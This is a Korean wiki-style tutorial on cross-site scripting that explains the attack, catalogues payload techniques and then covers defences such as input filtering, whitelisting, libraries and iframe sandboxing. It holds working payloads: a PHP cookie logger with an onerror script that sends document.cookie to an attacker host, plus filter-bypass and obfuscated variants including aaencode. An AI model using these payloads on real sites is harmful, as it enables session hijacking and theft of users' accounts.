-
XSS공격이란
XSS(Cross-site Scripting)는 웹 상에서 가장 기초적인 취약점 공격 방법의 일종으로, 악의적인 사용자가 공격하려는 사이트에 스크립트를 넣는 기법을 말합니다. 공격에 성공하면 사이트에 접속한 사용자는 삽입된 코드를 실행하게 되며, 보통 의도치 않은 행동을 수행시키거나 쿠키나 세션 토큰 등의 민감한 정보를 탈취합니다. 크로스 사이트 스크립팅이란 이름 답게, 자바스크립트를 사용하여 공격하는 경우가 많습니다. 공격 방법이 단순하고 가장 기초적이지만, 많은 웹사이트들이 XSS에 대한 방어 조치를 해두지 않아 공격을 받는 경우가 많습니다. 여러 사용자가 접근 가능한 게시판 등에 코드를 삽입하는 경우도 많으며, 경우에 따라서는 메일과 같은 매체를 통해서도 전파됩니다. 물론, HTML을 사용하는 것이기 때문에, Text-Only 게시판이나, BBCode를 이용하는 위키위키 등에서는 XSS가 발생할 일은 없습니다. 단,
{{{#!html HTML}}}
을 이용해서 HTML 태그를 사용할 수 있으므로 취약점이 있을 수도 있습니다. 주로 CSRF를 하기 위해서 사용되기 때문에 종종 CSRF와 혼동되는 경우가 있으나, XSS는 자바스크립트를 실행시키는 것이고, CSRF는 특정한 행동을 시키는 것이므로 다릅니다.예시
해커의 홈페이지에 Cookie.php라는 이름의 PHP 파일을 생성합니다.
<? fwrite(fopen("XSS.txt","a+"), $_GET['cookie']); ?>
다음 공격할 사이트(hack.er라는 사이트를 예시)에 스크립트를 심습니다.
<img src="#" onerror="location.href('http://hack.er/Cookie.php?cookie=' + document.cookie);">
사용자가 스크립트가 심어진 페이지를 볼 경우, 쿠키값이 해커의 홈페이지로 넘어가서 세션 하이재킹이 가능해집니다.
기법
아래는 한국에서 가장 많이 사용되는 IE 기준으로 작성한 것입니다. 따라서 크롬, 파이어폭스 등의 브라우저나 최신 브라우저 환경에서는 작동하지 않을 수도 있습니다. 실험은 w3schools에서 할 수 있습니다.
스크립트 태그
방법
스크립트 태그로 자바스크립트를 실행
예제
<script>alert('XSS');</script>
설명
스크립트 태그의 스크립트를 실행시킵니다. 안타깝게도, 매우 정직한 방법이라 대부분의 사이트에서 막는 경우가 많습니다. 브라우저단에서 필터링 해주는 경우도 있습니다. 물론 아래와 같이 예외 코드도 있습니다.
<script class="xss">$('.xss').parents().eq(1).find('a').eq(1).click();$('[data-action=retweet]').click();alert('XSS in Tweetdeck')</script>
이 방법은 정직하여 막기가 쉽지만 만들어진지 몇십 년 이상 되었거나, 보안에 신경을 안써서 막지도 않는 경우도 있습니다.
자바스크립트 링크
방법
링크 태그로 자바스크립트를 실행
예제
<a href="javascript:alert('XSS')">XSS</a>
설명
브라우저에서 about: 링크와 같이, javascript: 로 시작하는 링크는 스크립트를 실행시킵니다. XSS를 실행시키는 데만 사용되지는 않고, 링크 태그를 클릭할 경우, 다른 사이트로 이동하는 것을 막기 위해서 아래와 같이 사용되는 경우도 있습니다.
<a href="javascript:;">LINK</a>
스크립트 태그와 같이, javascript:를 필터링하는 경우가 많아 안타깝게도 많은 사이트에서 막습니다. 하지만, 스크립트 태그만 막는 경우도 있으니 시도는 해볼만 합니다.
이벤트 속성
방법
이벤트 속성을 사용
예제
<img src="#" onerror="alert('XSS')">
설명
이벤트 속성으로 스크립트를 실행할 수 있습니다. 주로
on
으로 시작하는 속성이 이벤트 속성입니다. 자주 사용되는 이벤트 속성으로는onload
onerror
onclick
등이 있습니다. 물론, 이 방법 역시 '자바스크립트 링크' 방법만큼 많이 막혔습니다. 하지만, 마찬가지로 스크립트 태그만 막는 경우도 있으니 시도는 해볼만 합니다.블랙리스트 우회
방법
알려지지 않은 태그와 속성들을 사용
예제
<ruby oncopy="alert('XSS')">XSS</ruby>
설명
블랙 리스트 방식으로 막는 사이트에 사용할 수 있습니다. 이벤트 속성 목록을 참고하면 됩니다. 위의 방법들보다는 적게 막혔으나, 여전히 최근 웹사이트들에선 화이트리스트 방식 차단이 대부분이라, 막혔을 가능성이 높습니다.
내용 난독화
방법
따옴표로 감싸는 문자열 사이에 공백 문자들을 넣고 HTML 인코드를 하여 난독화합니다.
예제
<a href="javas
cript
:
alert
('XSS')">XSS</a>
설명
일부 브라우저에서 javascript: 링크 사이에 공백 문자가 들어갈 수 있고, HTML 인코드를 해도 디코드된 내용이 출력된다는 점을 이용합니다. 여기에서는 '자바스크립트 링크' 방법과 사용하였지만, 당연히 다른 방법과 함께 사용할 수 있습니다.
스크립트 난독화
방법
aaaencode에서 자바스크립트 난독화.
예제
XSS/aaaenocde 아래 참조.
゚ω゚ノ= /`m´)ノ ~┻━┻ //*´∇`*/ ['_']; o=(゚ー゚) =_=3; c=(゚Θ゚) =(゚ー゚)-(゚ー゚); (゚Д゚) =(゚Θ゚)= (o^_^o)/ (o^_^o);(゚Д゚)={゚Θ゚: '_' ,゚ω゚ノ : ((゚ω゚ノ==3) +'_') [゚Θ゚] ,゚ー゚ノ :(゚ω゚ノ+ '_')[o^_^o -(゚Θ゚)] ,゚Д゚ノ:((゚ー゚==3) +'_')[゚ー゚] }; (゚Д゚) [゚Θ゚] =((゚ω゚ノ==3) +'_') [c^_^o];(゚Д゚) ['c'] = ((゚Д゚)+'_') [ (゚ー゚)+(゚ー゚)-(゚Θ゚) ];(゚Д゚) ['o'] = ((゚Д゚)+'_') [゚Θ゚];(゚o゚)=(゚Д゚) ['c']+(゚Д゚) ['o']+(゚ω゚ノ +'_')[゚Θ゚]+ ((゚ω゚ノ==3) +'_') [゚ー゚] + ((゚Д゚) +'_') [(゚ー゚)+(゚ー゚)]+ ((゚ー゚==3) +'_') [゚Θ゚]+((゚ー゚==3) +'_') [(゚ー゚) - (゚Θ゚)]+(゚Д゚) ['c']+((゚Д゚)+'_') [(゚ー゚)+(゚ー゚)]+ (゚Д゚) ['o']+((゚ー゚==3) +'_') [゚Θ゚];(゚Д゚) ['_'] =(o^_^o) [゚o゚] [゚o゚];(゚ε゚)=((゚ー゚==3) +'_') [゚Θ゚]+ (゚Д゚) .゚Д゚ノ+((゚Д゚)+'_') [(゚ー゚) + (゚ー゚)]+((゚ー゚==3) +'_') [o^_^o -゚Θ゚]+((゚ー゚==3) +'_') [゚Θ゚]+ (゚ω゚ノ +'_') [゚Θ゚]; (゚ー゚)+=(゚Θ゚); (゚Д゚)[゚ε゚]='\'; (゚Д゚).゚Θ゚ノ=(゚Д゚+ ゚ー゚)[o^_^o -(゚Θ゚)];(o゚ー゚o)=(゚ω゚ノ +'_')[c^_^o];(゚Д゚) [゚o゚]='"';(゚Д゚) ['_'] ( (゚Д゚) ['_'] (゚ε゚+(゚Д゚)[゚o゚]+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚ー゚)+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (o^_^o)+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) - (゚Θ゚))+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) - (゚Θ゚))+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚ー゚)+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (゚Θ゚)+ (゚Д゚)[゚o゚]) (゚Θ゚)) ('_');
설명
스크립트를 일본어를 사용한 이모티콘들로 난독화합니다. 기존에는 JSFuck이 사용되었지만, 제작자의 말로, 오류가 나서 더이상 사용하지 못한다고 합니다. 스크립트 실행은 가능하지만, document.cookie 와 같은 단어를 막을 경우 사용하면 됩니다.
방어기법
XSS는 데이터를 입력할 때와 출력할 때, 모두 필터링하고, 클라이언트에도 막을 수 있을만한 수단을 구성해놓는 것이 좋습니다. 보안은 한없이 덧대도 끝이 없고, 아래 서술한 방식으로 구성해도 기어코 뚫어버리는 사람들이 존재하기 때문입니다.
입력필터
자바는 적당한 XSS 필터를 만든 뒤, web.xml에 선언하여 모든 파라미터가 해당 필터를 거치도록 하는것 만으로도 좋은 효과를 볼 수 있습니다.
PHP는 입력을 처리할 때, 정규식을 이용하는 preg_replace를 사용하거나, 노드를 이용하는 DOMDocument를 사용할 수 있습니다. 속도는 preg_replace가 더 빠르지만, 정규식의 경우 예외와 오류가 종종 발생하기 때문에, 더 안전한 DOMDocument를 사용하는 것이 권장됩니다. 하지만, 사람에 따라서 정규식을 사용하는 것이 개발하기 더 편한 경우가 있습니다. 하지만, 그렇다고 함부로 대충 정규식을 만들어서 사용했다가 탈탈 털리는 경우가 있습니다.
필터제작
단순히 텍스트만 입력시키거나 출력하는 데 필터를 제작할 때, 주로 필터되는 것이 <와 >입니다. 각각
&
lt;
와&
gt;
처럼 HTML 문자로 바꾸어서 HTML 코드가 아닌 단순 문자로 인식하게 하는 것입니다. 하지만, 이 경우는 모든 HTML 태그를 막아버리기 때문에, 각종 스타일을 적용시켜야하는 사이트에서는 맞지 않을 수도 있습니다.라이브러리 제작
각종 스타일을 적용시켜 글을 꾸며야 하는 사이트의 경우, 스크립트 태그와 이벤트 속성,
javascript:
링크만 제대로 막아주어도 상당수를 막을 수 있을 것입니다. 하지만, EMBED 태그를 이용하여 저런 기법을 사용하지 않고도 XSS를 먹이는 경우가 있으므로, 다른 것들도 모두 막아주어야 합니다. 이 때, 일부 태그 및 속성만 막기 보다는, 반대로 일부 태그 및 속성만 허용하게 하는 것이 좋습니다. 몇몇 태그만 막는다면 HTML 태그나 속성이 추가될 수록 주기적으로 필터를 수정해줘야 하는데, 이럴 경우 HTML 표준을 주기적으로 꼼꼼히 챙겨보지 않는 한은(설령 그렇다 하더라도 비표준 태그가 있어서 웹 브라우저마다 호환이 안 될 수도 있음), 업데이트를 하는 사이에 이미 해커가 침투해놓고 유유자적하게 빠져나갔을 수도 있기 때문입니다.라이브러리 이용
기존에 있던 라이브러리를 가져다 사용해도 좋습니다. 개인이나 소규모 단체가 만든 것 보다는, 전문적인 보안 업체나 거대 기업에서 만든 것이 공신력있고 편하기 때문입니다. 사용할만한 것으로는 OWASP Antisamy이나 NAVER Lucy XSS Filter, ESAPI 등을 이용하는 방법이 있습니다.
BBCode 사용
글을 꾸며야 하지만, 따로 필터를 만들긴 어려운 경우, BBCode를 사용할 수도 있습니다. 주로 <와 >를 대체하여서,
[
와]
를 사용하여 만듭니다. 만들기도 다른 방법에 비해 편하고, 안전성도 높은 편이기 때문에 가장 추천되는 방법입니다. 또한 <나 >같은 HTML 코드를 단순 문자로 바꿀 수 있기 때문에 XSS가 실행될 염려가 적습니다. 하지만 이 때, 정규식과 같이 단순히 문자열 치환으로 수정할 경우, XSS가 발생할 수도 있습니다.출력 필터
HTML5부터 iframe의 sandbox 옵션으로 iframe 내의 자바스크립트, 폼과 같은 것의 제한이 가능해 졌으므로, 위의 방법을 실행한 뒤 2차적으로 써보는 것도 좋습니다. 단, 어디까지나 2차로만 사용하는 것이 좋습니다. 구버전의 웹 브라우저라면 호환이 되지 않아 스크립트가 그대로 실행되거나, 설령 그게 아니더라도 웹 브라우저에서 취약점이 발견될 경우, 이런 방법이 뚫릴 수 있기 때문입니다.
iframe은 단순히 다른 웹사이트를 불러오는 것만이 아니라, 부모 창에서 마음대로 수정할 수 있기 때문에, 무식하게 다른 페이지를 불러오며 AJAX나 PJAX 등을 포기하며 사용하지 말아야 합니다. 물론, 기존부터 라이브러리를 사용하지 않고 웹 페이지를 개발하는 사람은 물론이고, jQuery같은 라이브러리를 사용하는 사람들도 조금만 검색해보면 간단하게 iframe의 내용을 수정할 수 있는 방법이 나오니 도전해 보도록 합시다.
기타
위 방법들과는 별개로 일반 사용자가 스크립트를 잘 알지 못하는 것을 악용하여, 사용자가 브라우저 콘솔에 악성 스크립트를 삽입해 실행되도록 속하기도 하는데, 이를 스스로 하는 XSS라는 뜻의 Self XSS라고 부릅니다. 이는 사용자가 스스로 실행한 것이니만큼 위 방어 방법으론 막기 어려우니, 잘 알지 못하는 스크립트 등은 절대로 실행해서는 안됩니다. 이 때문에 파이어폭스 등 일부 브라우저는 콘솔에 붙여넣기 시 경고후 확인을 거쳐야 붙여 넣을 수 있습니다.
XSS 공격을 방지하는 7계명
0. 허용된 위치가 아닌 곳에 신뢰할 수 없는 데이터가 들어가는것을 허용하지 않는다.
1. 신뢰할 수 없는 데이터는 검증을 하여라.
2. HTML 속성에 신뢰할 수 없는 데이터가 들어갈 수 없도록 하여라.
3. 자바스크립트에 신뢰할 수 없는 값이 들어갈 수 없도록 하여라.
4. CSS의 모든 신뢰할 수 없는 값에 대해서 검증하여라.
5. URL 파라미터에 신뢰할 수 없는 값이 있는지 검증하여라.
6. HTML 코드를 전체적으로 한번 더 검증하여라.